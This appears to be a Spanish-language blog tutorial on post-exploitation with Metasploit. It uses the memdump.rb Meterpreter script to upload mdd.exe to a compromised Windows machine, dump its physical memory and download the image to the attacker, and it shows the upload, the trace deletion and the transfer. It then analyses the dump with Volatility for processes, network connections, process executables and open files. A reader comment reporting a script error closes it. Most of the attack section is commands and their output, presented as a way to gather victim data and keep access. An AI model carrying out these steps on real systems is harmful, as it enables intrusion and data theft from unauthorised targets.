El volcado y análisis de memoria de uno o varios de los procesos de una maquina comprometida, es una de las primeras actividades que realizará un hacker en un proceso de post-explotacion, este tópico le permitirá recolectar información sobre el objetivo para intentar garantizar el acceso futuro y/o profundizar el ataque con el objetivo de comprometer más maquinas en el segmento de red, o simplemente búscar más vulnerabilidades que le permitan garantizar accesos futuros.
En esta entrada se intentará indicar el uso del script memdump.rb y Volatility FrameWork con Meterpreter, este script permite realizar un volcado de la memoria del objetivo comprometido en un fichero con toda la información de los procesos que se encontraban en ejecución al momento de realizar el volcado, este script se apoya en la herramienta ManTech Memory DD (mdd) la cual se encarga de generar una imagen forense de la memoria física del sistema y la almacena como un fichero binario “crudo” (raw). Puede copiar 4 GB de memoria a un fichero para su posterior análisis, esta herramienta es excelente para ser empleada por otro software que identifique rootkits u otro código malicioso residiendo en el sistema, (aunque esta información es útil para el atacante, para saber principalmente, si la maquina comprometida ha sido atacada con anterioridad por alguien más y ha dejado sus rastros).
Para usar este script, en primer lugar es necesario descargarlo desde http://www.darkoperator.com/meterpreter/memdump.rb y ubicarlo en el directorio <DIR_METASPLOIT>/scripts/meterpreter/ en este directorio es donde se almacenan todos los scripts que se ejecutan en Metasploit, si un desarrollador crea un script para ser ejecutado por meterpreter, dicho script deberá estar ubicado en este directorio. Por otra parte, el ejecutable MDD que se ha indicado anteriormente debe estar ubicado en el directorio <DIR_METASPLOIT>/data se puede descargar desde http://sourceforge.net/projects/mdd/files/mdd/ dado que el nombre del ejecutable descargado siempre tiene el número de versión añadido, es necesario renombrarlo a “mdd.exe” para que el script lo pueda encontrar, o bien modificar el script para que busque el nombre del fichero correcto. Con estos requisitos cumplidos, es posible utilizarlo:
meterpreter > run memdump -h
Memory Dumper Meterpreter Script OPTIONS: -c Check Memory Size on target. Image file will be of this size -d Dump Memory do not download -h Help menu. -t <opt> Change the timeout for download default 5min. Specify timeout in seconds |
Las opciones realizan las siguientes funciones:
-c: Retorna el tamaño de memoria utilizado en el objetivo.
-d: Realiza un upload del fichero MDD a la maquina comprometida y genera una imagen del volcado, pero no lo transfiere a la maquina del atacante.
-t Cambia el tiempo de espera para la descarga de la imagen desde el objetivo hacia la maquina del atacante.
Si se ejecuta sin ningún parámetro, el script realizará un upload del fichero MDD a la maquina comprometida y posteriormente intentará obtener una imagen de la mémoria física, posteriormente dicha imagen será enviada a la maquina del atacante:
meterpreter > run memdump
[*] Running Meterpreter Memory Dump Script….. [*] Uploading mdd for dumping targets memory…. [*] mdd uploaded as C:\DOCUME~1\VULNER~1\LOCALS~1\Temp\34403.exe [*] Dumping target memory to C:\DOCUME~1\VULNER~1\LOCALS~1\Temp\74958 ……………………………………………… [*] Finnished dumping target memory [*] Deleting mdd.exe from target… [*] mdd.exe deleted [*] Downloading memory image to /root/.msf3/logs/memdump/192.168.1.38-20110507.0542 [*] Finnished downloading memory image [*] Deleting left over files… [*] Memory image on target deleted |
Ahora, con esta imagen se puede utilizar Volatility FrameWork para realizar un análisis del volcado de memoria.
Volatility FrameWork
Se trata de una herramienta licenciada bajo los términos de la GNU/GPL e implementada en Python, permite la extracción de datos y/o artefactos digitales desde imágenes de memoria volátil (RAM), ejecutando técnicas de extracción que son completamente independientes del sistema operativo que esta siendo investigado. Esta herramienta hace parte del conjunto conocido como Open Source Investigation Tools (OSIT) que sostienen la creencia que los procesos forenses y de auditoria deberían estar enfocados en estándares libres y abiertos para promover a los investigadores y auditores a profundizar, proponer y mejorar técnicas relacionadas con informática forense.
Para utilizar Volatility, se debe contar con una plataforma que soporte python, por esta razón (y muchas otras) GNU/Linux es mas que adecuado para tal fin. A continuación se detallan algunos pasos y ejemplos de su uso:
- Descargar desde: https://www.volatilesystems.com/default/volatility y descomprimir el fichero descargado.
- Desde el directorio de volatility ejecutar:
>python volatility
Volatile Systems Volatility Framework v1.3 Copyright (C) 2007,2008 Volatile Systems Copyright (C) 2007 Komoku, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. usage: volatility cmd [cmd_opts] |
- Posteriormente se puede utilizar la imagen generada por el script memdump ejecutado desde meterpreter.
- Para ver la fecha de la generación de la imagen
python volatility datetime -f 192.168.1.38-20110507.0542/74958.img Image local date and time: Sat May 07 21:05:41 2011 |
- Para ver información identificativa de la imagen
python volatility ident -f 192.168.1.38-20110507.0542/74958.img
Image Name: /root/.msf3/logs/memdump/192.168.1.38-20110507.0542/74958.img
Image Type: Service Pack 2VM Type: paeDTB: 0x2f3000Datetime: Sat May 07 21:05:41 2011 - Para obtener el listado de procesos que se encontraban en ejecución en la maquina al momento de realizar la imagen
python volatility pslist -f 192.168.1.38-20110507.0542/74958.img
Name Pid PPid Thds Hnds TimeSystem 4 0 49 238 Thu Jan 01 00:00:00 1970smss.exe 500 4 3 21 Sun May 08 03:59:44 2011csrss.exe 564 500 10 382 Sun May 08 03:59:44 2011winlogon.exe 588 500 21 508 Sun May 08 03:59:44 2011
……………………………. - Para ver información de las conexiones establecidas con otras maquinas:
python volatility connections -f 192.168.1.38-20110507.0542/74958.img
Local Address Remote Address Pid192.168.1.38:1040 65.55.206.209:80 1836192.168.1.38:1039 65.55.21.250:80 1836192.168.1.38:1042 94.245.115.205:80 1836
192.168.1.38:1050 192.168.1.33:4444 436
192.168.1.38:1041 65.55.17.25:80 1836
- Para ver información de todas las conexiones establecidas con otras maquinas:
python volatility connscan -f 192.168.1.38-20110507.0542/74958.img
Local Address Remote Address Pid————————- ————————- ——192.168.1.38:1048 192.168.1.33:80 1836
192.168.1.38:1050 192.168.1.33:4444 436
192.168.1.38:1041 65.55.17.25:80 1836
192.168.1.38:1042 94.245.115.205:80 1836
192.168.1.38:1043 65.54.81.155:80 1836
192.168.1.38:1040 65.55.206.209:80 1836
192.168.1.38:1039 65.55.21.250:80 1836
………………..
- Volcar cada proceso a un ejecutable partiendo de los valores en memoria almacenados en la imagen:
python volatility procdump -f 192.168.1.38-20110507.0542/74958.img
************************************************************************
Dumping services.exe, pid: 632 output: executable.632.exe
************************************************************************
Dumping svchost.exe, pid: 804 output: executable.804.exe************************************************************************Dumping svchost.exe, pid: 884 output: executable.884.exe
************************************************************************
Dumping svchost.exe, pid: 976 output: executable.976.exe
************************************************************************
Dumping svchost.exe, pid: 1024 output: executable.1024.exe
************************************************************************
Dumping svchost.exe, pid: 1084 output: executable.1084.exe
…………………………………………
- Listar todos los ficheros abiertos para cada uno de los procesos que se encontraban en ejecución:
python volatility files -f 192.168.1.38-20110507.0542/74958.img ************************************************************************
Pid: 4
File \Documents and Settings\NetworkService\NTUSER.DAT
File \WINDOWS\system32\config\SECURITY
File \pagefile.sys
File \WINDOWS\system32\config\SECURITY.LOG
File \WINDOWS\system32\config\software
File \WINDOWS\system32\config\software.LOG
File \System Volume Information\_restore{B6791096-032F-454C-8586-223A9E9F9E27}\RP1\change.log
************************************************************************
Pid: 500
File \WINDOWS
File \WINDOWS\system32
************************************************************************
Pid: 564
File \WINDOWS\system32
File \WINDOWS\system32\ega.cpi
************************************************************************
……………………………………………………….
Como ha podido apreciarse, la cantidad de operaciones y el abanico de posibilidades que se despliegan para el atacante es bastante amplio, permitiendole de este modo obtener información muy detallada de la víctima.
Hola,
estoy siguiendo exactamente vuestros pasos y al ejecutar el comando run memdump -h me aparecen los siguientes errores:
[-] Error running command run: SyntaxError /usr/share/metasploit-framework/lib/rex/script/base.rb:51: syntax error, unexpected ‘<'
^
/usr/share/metasploit-framework/lib/rex/script/base.rb:52: syntax error, unexpected ‘<'
<html lang="en" data-color-mod…
^
/usr/share/metasploit-framework/lib/rex/script/base.rb:52: syntax error, unexpected local variable or method, expecting end-of-input
<html lang="en" data-color-mode="auto" data-light…
^~~~
Sabeis a que es debido?
Muchas gracias!
Me gustaMe gusta